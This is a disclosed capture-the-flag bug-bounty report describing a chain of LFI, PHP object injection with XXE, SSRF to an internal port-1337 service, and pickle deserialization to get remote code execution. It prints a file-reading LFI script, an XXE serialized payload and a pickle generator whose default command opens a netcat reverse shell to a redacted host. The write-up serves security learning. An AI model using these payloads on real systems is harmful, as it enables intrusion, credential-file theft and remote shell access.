HexBrain

h1-5411-CTF · Report #415682

Remote Command Execution in a internal server to get the flag file

Validstatus
criticalseverity
17upvotes
22 Oct 2018disclosed

How it was found

Summary: After source code disclosure using a LFI vulnerability and using PHP object injection with XXE I was able to find an internal service at port 1337. Using the SSRF through XXE I sent a HTTP request to this internal service and discovered a python object injection using status parameter, with this vector I was able to get RCE on the server located at 104.248.121.85.

Description:

LFI The template parameter at /api/generate.php is vulnerable to LFI. So I could get all relevant source code from the application using type as text. I created a python script to help:

import requests
import sys

url = 'http://h1-5411.h1ctf.com/api/'
endpoint = 'generate.php'

headers = {'Cookie':'PHPSESSID=v6a28uv6ad2e9ivr02hajqao4g'}
payload = {'template' : '../../../../../../..'+sys.argv[1], 'type' : 'text', 'top-text' : '.', 'bottom-text' :'.'}

r = requests.post(url+endpoint, headers=headers, data=payload)
json_response = r.json()

file_url = json_response['meme_path']
print file_url

r = requests.get(url+file_url)
print r.text

Using Burp: {F352386}

Some files read during my tests:

  1. /etc/passwd
  2. /etc/issue
  3. /etc/resolv.conf
  4. /etc/hosts
  5. /var/log/apt/history.log
  6. App source code

PHP Object Injection - Deserialization and XXE After read the code I discovered two endpoints for a future version, 2.0:

File: header.php

<?php
  $pages = [
    "generate.php" => "Meme Generator",
    "memes.php" => "Your Memes",
    // for version 2.0
    // "import_memes_2.0.php" => "Import Memes",
    // "export_memes_2.0.php" => "Export Memes"
  ];
?>

Looking into import_memes_2.0.php and export_memes_2.0.php I found an unserialization call using user input without validation, which is extremely dangerous. So I craft a payload serializing a ConfigFile object with XML in config_raw attribute, as __toString() method calls parse() witch then calls loadXML with libxml_disable_entity_loader ENABLED. So, we could obtain XXE and SSRF.

Using PHP to create the payload:

<?php
require_once('classes.php'); // Same I got using LFI

$t = new ConfigFile('http://localhost/h1-5411/xml2'); 
$x = new Maintenance();

$o = [$t, $x ];

echo base64_encode(serialize($o));

PHP Object example (b64 decoded):

a:2:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:276:"<?xml version='1.0' encoding='ISO-8859-1'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>
<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>
";}i:1;O:11:"Maintenance":0:{}}

File: xml2

<?xml version='1.0' encoding='ISO-8859-1'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]>
<memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes>

Then using the serialized object above (ConfigFile), I uploaded my memepak using /import_memes_2.0.php and got the /etc/issue file base64 encoded as one of my memes.

SSRF

Using the above XXE we could manipulate the server to do requests for others internal services, as noted at source code there is a Maintenance service somewhere.

Using the python exploit attached {F352404}, I could read files and do http/ftp requests. Although I could do a port scan using http/ftp/sftp requests, I was able to find the internal service using a process ID scan using /proc/{ID}/cmdline, which revealed:

/proc
1
ps-run

4
/bin/bash/opt/run/ctf-entrypoint

6
ssh-i/app/92df63a566f599a094153febb133b99f87a161b5-oStrictHostKeyChecking=no-f-N-L1337:localhost:[email protected]

8
/bin/sh/usr/sbin/apache2ctl-DFOREGROUND

So I found a ssh tunnel to another service at 104.248.121.85. Using the python script above, I started to interact with http://localhost:1337/ : {F352398}

Python Object Injection - Pickle

Using the debug parameter I realized that status parameter should be base64 encoded. After that I could see a pickle base64 encoded as status. My first try was to request a status-update using a malicious pickle as status:

Creating a malicious pickle with a reverse shell:

import cPickle
import os
import sys
import base64

DEFAULT_COMMAND = "nc ███████ 9300 -e /bin/bash"

COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
    def __reduce__(self):
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

Sending the above Pickle I got a connect back from the server.

{F352400}

Steps To Reproduce:

I created some python scripts to reproduce.

  1. Use {F352403} to read files from the server (LFI)
  2. Use {F352404} to read files and do requests to internal services. Found http://localhost:1337
  3. Use {F352406} to create a pickle payload for any OS command. With this payload, use {F352404} to send a request to http://localhost:1337/update-status?debug=1&status={PAYLOAD}

Impact

Compromise data and servers.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original